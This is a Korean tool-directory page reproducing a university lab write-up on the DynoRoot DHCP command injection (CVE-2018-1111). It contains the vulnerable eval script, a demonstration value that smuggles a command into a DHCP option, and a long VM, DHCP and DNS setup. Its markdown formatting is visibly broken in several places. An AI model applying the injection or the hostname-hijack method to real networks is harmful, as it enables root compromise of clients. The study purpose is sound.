Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
FEP3370-advanced-ethical-hacking — DynoRoot(CVE-2018-1111)을 이용한 DHCP 악용 | Kitploit
도구/GitHubGitHub/baldassarrefe/fep3370-advanced-ethical-hacking
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubbaldassarrefe/fep3370-advanced-ethical-hacking

FEP3370-advanced-ethical-hacking

DynoRoot(CVE-2018-1111)을 이용한 DHCP 악용

저장소 보기웹사이트
15년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DynoRoot CVE-2018-1111

KTH(스톡홀름)의 Advanced Ethical Hacking 과정의 기말 프로젝트입니다

이 프로젝트는 DHCP(Dynamic Host Configuration Protocol)의 안전하지 않은 클라이언트 측 구현과 관련된 Fedora 및 RedHat 시스템의 알려진 취약점을 시연합니다. 악성 DHCP 서버는 악성 페이로드가 포함된 DHCP offer를 조작하여 피해자 시스템의 루트 셸에서 실행되게 할 수 있습니다.

이 취약점은 Felix Wilhelm이 보고했으며 CVE-2018-1111 또는 "DynoRoot"로 알려져 있습니다.

목차:

  • 소개
    • 배경
    • 취약점
    • 출처
  • 설정
    • 사전 준비
    • 게이트웨이 머신
    • 공격자
    • Fedora 피해자
DHCP 세션 (의 그림, 라이선스). /> 설치 스크린샷: 네트워크 구성. 설치 스크린샷: 사용자 생성. ```bash 설치 스크린샷: 네트워크 구성. 설치 스크린샷: 사용자 생성.
  • 공격 수행
    • 게이트웨이
    • 공격자
    • 피해자
    • 분석
  • 향후 작업
  • 크레딧
  • 소개

    배경

    DHCP(Dynamic Host Configuration Protocol)는 네트워크 시스템에서 종종 간과되는 구성 요소입니다. 그 역할은 기존 네트워크에 연결되는 호스트 시스템의 동적 구성을 허용하는 것입니다. 가장 일반적인 사용 사례는 새로 연결된 호스트에 IP 주소를 할당하고 다른 네트워크에 접근하기 위한 기존 경로를 알려주는 것입니다. 예를 들어 로컬 DNS 서버의 주소와 해당 서버가 담당하는 영역, 부트 파일의 위치와 같은 추가 옵션을 지정할 수도 있습니다.

    이더넷 또는 무선 연결을 통해 네트워크에 물리적으로 연결한 후 새 호스트가 네트워크에 가입할 때 따르는 4-way 프로토콜을 분석해 보겠습니다.

    1. IP 주소가 없는 클라이언트는 네트워크에 DISCOVER 메시지를 브로드캐스트합니다.
    2. 해당 네트워크를 담당하는 DHCP 서버는 IP 주소, 네트워크 서브마스크, 라우터 주소 및 기타 옵션이 포함된 OFFER로 응답합니다.
    3. 클라이언트는 REQUEST로 응답하여 제안된 IP 주소를 _임대_하겠다고 공식적으로 요청합니다.
    4. 서버는 ACK로 교환을 마치며, 클라이언트가 지정된 시간 동안 IP 주소를 사용할 수 있음을 알립니다.

    초기 교환 후 클라이언트는 단순히 다른 REQUEST 메시지를 보내 임대를 갱신할 수 있습니다. 서버는 클라이언트의 IP 및 MAC 주소와 일치하는 임대가 존재하는지 확인한 후 ACK로 응답합니다.

    Wikimedia Commons
    CC BY-SA 4.0

    참고할 사항:

    • 클라이언트는 DISCOVER 단계를 건너뛰고 즉시 REQUEST로 주소를 요청할 수도 있습니다. 이는 클라이언트가 이전에 네트워크에 연결한 적이 있고 이전 주소를 기억하는 시나리오에서 흔합니다. 이 경우 서버는 주소의 사용 가능 여부를 확인하고 요청에 ACK로 응답하거나, 임대를 사용할 수 없는 경우 NACK를 보냅니다.
    • 연결이 끊기면 클라이언트는 주소가 이제 사용 가능함을 서버에 알리기 위해 RELEASE 메시지를 보낼 수 있습니다. 그러나 이는 프로토콜에서 의무 사항이 아니며 서버는 주기적으로 만료된 임대를 회수합니다.
    • 각 DHCP 서버는 제한된 IP 주소 풀을 관리하며, 모든 주소가 할당되면 서버는 새 클라이언트에게 OFFER 임대를 제공할 수 없게 됩니다.
    • 동일한 네트워크에 여러 DHCP 서버가 존재할 수 있습니다. 클라이언트가 여러 OFFER를 수신하면 하나만 수락하며, 다른 서버들은 브로드캐스트된 REQUEST를 관찰하고 해당 offer를 무효화합니다.

    취약점

    이 취약점은 클라이언트가 DHCP를 통해 수신한 옵션을 구문 분석하고 설정하기 위해 실행하는 /etc/NetworkManager/dispatcher.d/11-dhclient에 있습니다.

    • declare는 인수 없이 사용할 때 선언된 모든 변수를 나열하는 bash 내장 명령입니다.
    • grep은 DHCP 관련 변수를 모두 필터링합니다.
    • while read opt는 DHCP 변수를 하나씩 반복하면서 일부 구문 분석을 수행하고 각 옵션에 대해 export new_optionname=value와 같은 줄을 출력합니다.
    • 그런 다음 export 문은 eval을 통해 셸에서 평가됩니다.```bash eval "$( declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do optname=${opt%%=} optname=${optname,,} optname=new_${optname#dhcp4_} optvalue=${opt#*=} echo "export $optname=$optvalue" done )"
    root@kitploit:~
    <!-- omit in toc -->
    #### 일반 작동
    정상적인 상황에서는 코드가 문제없이 작동하여 새로운 DHCP 옵션을 파싱할 것입니다.
    예를 들어, 다음 코드는:```bash
    DHCP4_OPTION_ONE=42
    DHCP4_OPTION_TWO="bla bla"
    
    declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
      optname=${opt%%=*}
      optname=${optname,,}
      optname=new_${optname#dhcp4_}
      optvalue=${opt#*=}
      echo "export $optname=$optvalue"
    done
    

    eval로 평가될 이 두 export 문을 출력합니다:```bash export new_option_one=42 export new_option_two='bla bla'

    root@kitploit:~
    <!-- omit in toc -->
    #### 코드 삽입
    그러나 안전하지 않은 `eval`로 인해 bash 명령을 주입할 수 있습니다:```bash
    DHCP4_OPTION_ONE="x'& echo Hacked! #"
    DHCP4_OPTION_TWO='bla bla'
    
    eval "$(                             
      declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
        optname=${opt%%=*}
        optname=${optname,,}
        optname=new_${optname#dhcp4_}
        optvalue=${opt#*=}
        echo "export $optname=$optvalue"
      done
    )"
    

    결과적으로 echo Hacked! 가 실행됩니다.```text [1] 1541 Hacked!

    root@kitploit:~
    ### 소스
    - [Exploit 데이터베이스 항목](https://www.exploit-db.com/exploits/44890)
    - [RedHat 공지](https://access.redhat.com/security/vulnerabilities/3442151)
    - [Tenable 블로그 게시물](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
    - [GitHub 저장소](https://github.com/kkirsche/CVE-2018-1111)
    - [Twitter 공지](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
    
    ## 설정
    익스플로잇을 시연하기 위한 최소 설정은 단 두 대의 머신으로 구성됩니다: Fedora 28을 실행하는 `victim` 머신과 `attacker` 머신입니다. 이 설정에서 공격자는 DHCP 서비스를 제공하고 피해자의 연결을 기다리기만 하면 됩니다.
    
    <figure style="text-align:center">
      <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
      <figcaption>최소 익스플로잇 설정.</figcaption>
    </figure>
    
    더 현실적인 설정은 머신들을 사설 네트워크에 배치하고, 세 번째 머신인 `gateway`를 정상적인 DHCP 서버이자 외부 인터넷으로의 게이트웨이로 구성하는 것입니다. 이 설정에서 공격자는 공격을 수행하기 전에 피해자가 정당한 DHCP 서버에 연결하지 못하도록 차단해야 합니다.
    
    <figure style="text-align:center">
      <img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
      <figcaption>게이트웨이 머신 하나가 DHCP, 라우터 및 방화벽 역할을 하는 사설 네트워크 설정.</figcaption>
    </figure>
    
    다음 섹션에서는 다음을 수행합니다:
    1. VirtualBox 설치
    2. 가상 머신 3대 생성: `gateway`, `attacker`, `victim`
    3. 머신에 OS 설치 (사용자, 네트워크 및 SSH 접근)
    4. VirtualBox가 제공하는 가상 내부 네트워크에 대해
       정상적인 DHCP 서버를 호스팅하도록 `gateway` 구성
    5. 공격을 위한 Python 종속성 설치
    
    수동 설정을 건너뛰고 [바로 실행](#performing-the-attack)하려면 `ansible` 폴더의
    [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) 스크립트를 실행하면 됩니다. 이 스크립트는 (거의)
    자동으로 가상 머신을 생성하고 [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html)를
    사용하여 구성합니다. `setup.sh`를 실행하기 전에 Ansible과 VirtualBox가 설치되어 있는지 확인하세요.
    
    ### 사전 준비
    
    #### VirtualBox 설치
    다음 지침은 [공식 설치 가이드](https://www.virtualbox.org/wiki/Downloads)에서 가져온 것입니다.
    
    `/etc/apt/sources.list`에 다음 줄을 추가합니다:```bash
    deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
    

    virtualbox 및 확장 팩을 설치하십시오:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -

    sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1

    wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks

    root@kitploit:~
    #### Ansible 설치 (선택 사항)
    [Ubuntu 공식 가이드](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu)에서:```bash
    sudo apt update
    sudo apt install software-properties-common
    sudo apt-add-repository --yes --update ppa:ansible/ansible
    sudo apt install ansible
    

    Common SSH setup

    이 섹션에서는 머신에 로그인할 때 사용할 SSH 자격 증명을 만들겠습니다. SSH 구성 파일에 호스트 항목을 추가하면 나중에 타이핑을 줄일 수 있습니다.

    암호가 없는 SSH 키를 생성합니다:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''

    root@kitploit:~
    SSH config(`~/.ssh/config`)에 다음 항목을 추가하세요:```
    Host gateway.ethhack
      Port 6001
      User gateway   
    
    Host victim.ethhack
      Port 6002
      User victim
    
    Host attacker.ethhack
      Port 6003
      User attacker
    
    Host *.ethhack
      LogLevel ERROR
      HostName localhost
      IdentityFile ~/.ssh/ethhack
      StrictHostKeyChecking no
      UserKnownHostsFile /dev/null
    

    게이트웨이 머신

    이 머신은 내부 네트워크의 주소 풀을 관리하는 정상 DHCP 서버를 호스팅합니다. Ubuntu Server 18.04를 기반으로 하며 ISC DHCP 패키지를 사용합니다.

    실제 시나리오에서 이 머신은 네트워크의 머신들과 외부 세계 사이에서 라우터(iptables) 및 방화벽(UFW Uncomplicated Firewall) 역할도 수행할 것입니다. 또한 일부 내부 서비스용 DNS 서버(BIND9)를 호스팅할 수도 있습니다.

    VM 생성

    프로세스를 최대한 빠르게 반복할 수 있도록 VirtualBox의 명령줄 도구를 사용하여 가상 머신을 생성하겠습니다. 그렇지 않으면 동일한 구성을 입력하여 그래픽 인터페이스를 통해 VM을 생성할 수도 있습니다.

    Ubuntu ISO 다운로드:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF

    root@kitploit:~
    VM 생성:
    - 네트워크 인터페이스 1은 VirtualBox의 기본 NAT 네트워크에 연결
    - 네트워크 인터페이스 2는 `intnet` 내부 네트워크에 연결\
      (MAC 주소의 "d"는 DHCP를 의미합니다)
    - 호스트의 `600x` 포트에서 가상 머신의 SSH 포트로 포트 포워딩```bash
    VM_NAME="gateway"
    VRDE_PORT=5001
    SSH_PORT=6001
    VM_MAC='08:00:dd:dd:dd:dd'
    
    VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
    VBoxManage modifyvm "${VM_NAME}" \
      --memory 2048 \
      --acpi on \
      --boot1 dvd \
      --nic1 nat \
      --nic2 'intnet' \
      --macaddress2 "${VM_MAC//:/}" \
      --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
      --audio none
    
    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
    VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 0 \
      --type hdd \
      --medium "${VM_NAME}.vdi"
    
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
    

    문제가 발생하면:```bash VBoxManage unregistervm "${VM_NAME}" --delete

    root@kitploit:~
    #### OS 설치
    머신을 처음 부팅할 때 설치 단계를 진행하려면 가상 데스크톱이 필요합니다. 가상 머신을
    headless 모드로 시작하고 `rdesktop-vrdp`를 사용하여 연결할 수 있습니다. VirtualBox가
    데스크톱 컴퓨터에서 실행 중이라면 GUI에서 가상 머신을 시작하는 것이 더 쉬울 수 있지만,
    이 방법은 원격 VirtualBox 호스트에서도 작동합니다.```bash
    VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
    sleep 5
    rdesktop-vrdp "localhost:${VRDE_PORT}"
    kill %%
    

    설치 프로그램의 구성 매개변수:

    • 호스트 이름 gateway
    • 사용자 gateway
    • 비밀번호 gat
    • 고정 IP 192.168.0.1 (enp0s8)
    • SSH 서버 활성화

    설치 후 종료하고, ISO를 제거하고, VRDE를 비활성화하세요:```bash VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

    root@kitploit:~
    #### SSH 로그인
    접근을 쉽게 하기 위해 위에서 생성한 SSH 키를 `gateway` 머신에 설치할 수 있습니다:```bash
    VBoxHeadless --startvm "${VM_NAME}" &
    sleep 5
    ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
    ssh gateway.ethhack
    

    어떤 이유로 설치 중에 enp0s8 네트워크 인터페이스가 구성되지 않은 경우, 이 구성을 /etc/netplan/00-installer-config.yaml에 작성하세요:```yaml network: version: 2 ethernets: enp0s3: dhcp4: yes enp0s8: dhcp4: no addresses : - 192.168.0.1/24

    root@kitploit:~
    그리고 네트워크 구성을 업데이트하십시오:```
    sudo netplan apply
    ip addr show dev enp0s8
    

    DHCP 서버

    ISC DHCP 설치:```bash sudo apt install -y isc-dhcp-server

    root@kitploit:~
    내부 인터페이스에서 DHCP를 활성화하려면 `/etc/default/isc-dhcp-server`를 편집합니다:```bash
    sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
    

    DHCP에서 관리하는 주소 풀의 구성은 /etc/dhcp/dhcpd.conf에 있습니다:``` authoritative;

    default-lease-time 60; max-lease-time 7200;

    subnet 192.168.0.0 netmask 255.255.255.0 { range 192.168.0.100 192.168.0.105; }

    root@kitploit:~
    선택된 기본 리스 시간 1분은 다소 낮지만, 데모 목적에는 유용합니다.
    
    <!--```bash
    echo '
    authoritative;
    
    default-lease-time 60;
    max-lease-time 7200;
    
    subnet 192.168.0.0 netmask 255.255.255.0 {
      range 192.168.0.100 192.168.0.105;
      option domain-name-servers 192.168.0.53;
      option domain-name "100waystocook.pizza.";
    }
    ' | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
    
    sudo sed 's/INTERFACESv4=""/INTERFACESv4="enp0s8"/' -i /etc/default/isc-dhcp-server
    
    sudo systemctl restart isc-dhcp-server
    

    --> 서비스 재시작:```bash sudo systemctl restart isc-dhcp-server

    root@kitploit:~
    DHCP 이벤트는 `/var/log/syslog`에 기록됩니다. 
    관련 항목은 다음과 같이 강조할 수 있습니다:```bash
    tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
    

    다른 머신들을 설치하는 동안 gateway를 켜 두면, 그 머신들이 DHCP 구성을 자동으로 가져옵니다.

    sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9

    root@kitploit:~
    `/etc/bind/named.conf.options` 수정:```bash
    echo '
    options {
      directory "/var/cache/bind";
      allow-query { any; };
      recursion no;
      listen-on { 192.168.0.53; };
    };
    ' | sudo tee /etc/bind/named.conf.options > /dev/null
    

    /etc/bind/named.conf.local 편집:```bash echo '

    Forward zone for 100waystocook.pizza

    zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };

    Reverse zone for 192.168.0.0/24

    zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null

    root@kitploit:~
    bind에 대해 읽기 전용인 폴더에 정방향 및 역방향 zone 파일을 생성하십시오:```bash
    sudo install -o root -g bind -m 755 -d /etc/bind/zones
    
    echo '
    $TTL    86400 ; Clients will cache DNS responses for 1 day
    
    @       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                      3     ; Serial
                 604800     ; Refresh (1 week)
                  86400     ; Retry   (1 day)
                2419200     ; Expire  (4 weeks)
                 604800     ; Negative Cache TTL (4 weeks)
    )                       ; The values above are only relevant for secondary DNS servers
    
    ; name servers
    @       IN      NS      dns.100waystocook.pizza.
    
    ; 192.168.0.0/24
    dns     IN      A       192.168.0.53
    server  IN      A       192.168.0.1
    www     IN      CNAME   server
    mongo   IN      CNAME   server
    ' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
    
    echo '
    $TTL    604800
    @       IN      SOA     dns.100waystocook.pizza. admin.100waystocook.pizza. (
                      4     ; Serial
                 604800     ; Refresh
                  86400     ; Retry
                2419200     ; Expire
                 604800 )   ; Negative Cache TTL
    
    ; name servers
    @     IN      NS      dns.100waystocook.pizza.
    
    ; PTR Records
    1     IN      PTR     server.100waystocook.pizza.  ; 192.168.0.1
    53    IN      PTR     dns.100waystocook.pizza.     ; 192.168.0.53
    ' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
    

    검사 실행 및 재시작:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0

    sudo systemctl restart bind9

    root@kitploit:~
    작동하는지 확인하세요```bash
    dig www.100waystocook.pizza
    nslookup www.100waystocook.pizza
    systemd-resolve www.100waystocook.pizza
    

    DHCP 서버가 DNS 항목을 자동으로 업데이트하도록 설정

    • https://wiki.debian.org/DDNS
    • http://www.btteknik.net/?p=143
    • https://dev.to/skorotkiewicz/create-ddns-on-your-current-bind9-server-1d09
    • https://blog.kroko.ro/2009/03/29/running-a-secure-ddns-service-with-bind/
    • https://bind9.readthedocs.io/en/v9_16_5/reference.html#dynamic-update-policies
    • https://www.techrepublic.com/blog/linux-and-open-source/setting-up-a-dynamic-dns-service-part-2-dhcpd/
    Bind 설정

    DNS 업데이트용 대칭 키 생성:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"

    KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE

    KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"

    cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF

    sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"

    root@kitploit:~
    `/etc/bind/named.conf.local`에 키를 포함하세요:```bash
    echo "
    include '/etc/bind/${KEY_FILE_BIND}';
    
    # Forward zone for 100waystocook.pizza
    zone '100waystocook.pizza' {
      type master;
      file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
      notify no;
    
      # grant whoever owns the key the permission to update 
      # the A and TXT records for server.100waystocook.pizza.
      update-policy {
        grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
      };
    };
    
    # Reverse zone for 192.168.0.0/24
    zone '0.168.192.in-addr.arpa' {
      type master;
      file '/var/lib/bind/zones-dyn/db.192.168.0';
      notify no;
    
      # grant whoever owns the key the permission to update 
      # the PTR record for IPs in within the reverse zone
      update-policy {
        grant ${KEY_NAME} zonesub PTR;
      };
    };
    " | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null 
    

    원본 zone 파일을 bind가 쓸 수 있는 폴더로 복사하고, server 레코드를 제거합니다:```bash sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn

    sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza

    sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0

    root@kitploit:~
    검사를 실행하고 다시 시작하십시오:```bash
    sudo named-checkconf
    sudo named-checkzone 100waystocook.pizza    /var/lib/bind/zones-dyn/db.100waystocook.pizza
    sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
    
    sudo systemctl restart bind9
    
    수동 점검

    DNS 항목을 수동으로 업데이트하여 작동하는지 확인하세요. 다음을 수행하는 동안 tail -f /var/log/syslog에서 오류가 있는지 주시하세요. 마지막에 새 항목을 삭제하세요. 그렇지 않으면 DHCP 업데이트가 실패합니다:```bash TTL=60 NEW_NAME='server' NEW_IP='99'

    systemd-resolve "${NEW_NAME}.100waystocook.pizza"

    nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.

    zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}

    zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.

    send EOF

    sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"

    nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.

    zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A

    zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR

    send EOF

    root@kitploit:~
    ##### DHCP 구성
    DHCP가 DNS 항목을 자동으로 업데이트하도록 구성합니다:```bash
    KEY_FILE_DHCP="${KEY_NAME}.key"
    
    # Note: no " in key file
    cat > "${KEY_FILE_DHCP}" << EOF
    key ${KEY_NAME} {
      algorithm HMAC-SHA512;
      secret ${KEY_SECRET};
    };
    EOF
    
    sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
    rm "${KEY_FILE_DHCP}"
    
    echo "
    authoritative;
    
    # https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
    ddns-updates on;
    ddns-update-style interim;
    ddns-domainname '100waystocook.pizza.';
    ddns-rev-domainname '0.168.192.in-addr.arpa.';
    update-conflict-detection on;
    ddns-guard-id-must-match;
    ignore client-updates;
    
    default-lease-time 120;
    max-lease-time 7200;
    
    include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
    
    zone 100waystocook.pizza. {
      primary dns.100waystocook.pizza. ;
      key ${KEY_NAME} ;
    }
    
    zone 0.168.192.in-addr.arpa. {
      primary dns.100waystocook.pizza. ;
      key ${KEY_NAME} ;
    }
    
    subnet 192.168.0.0 netmask 255.255.255.0 {
      range 192.168.0.1 192.168.0.20;
      option domain-name-servers 192.168.0.53;
      option domain-name '100waystocook.pizza.';
    }
    " | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
    
    sudo systemctl restart isc-dhcp-server
    

    DHCP 구성은 sudo dhcpd -t로 확인할 수 있습니다.

    결과

    호스트 이름이 server인 시스템이 시작되면 /var/log/syslog는 다음과 같아야 합니다:```

    DHCP handshake

    dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8

    DNS update

    named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.

    DHCP renewal

    dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8

    root@kitploit:~
    호스트 이름이 `fedora`인 다른 머신이 시작되면 IP를 얻지만 `update-policy` 때문에 
    DNS에 추가되지 않습니다:```
    dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
    dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
    dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
    dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
    named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': 
                 update failed: rejected by secure update (REFUSED)
    dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
    

    문제는 DHCP가 호스트 이름이 server인 어떤 머신이든, 첫 번째 머신이라면 DNS에 등록한다는 것입니다. 공격자가 중복된 server 호스트 이름으로 DHCP를 통해 연결하려고 하면, DHCP가 이를 감지하고 DNS 업데이트를 거부합니다.```

    DHCP handshake with attacker

    dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8

    DNS update denied

    named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.

    root@kitploit:~
    하지만 정당한 `server`가 일정 시간 동안 다운되면 해당 임대(lease)가 해제되고 레코드가 제거됩니다.
    그러면 공격자는 초기 DHCP 교환 중에 호스트 이름으로 `server`를 제공함으로써 쉽게 침투할 수 있습니다.```
    # DHCP removes DNS records
    named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
    dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
    named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza: 
                 updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
    named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza: 
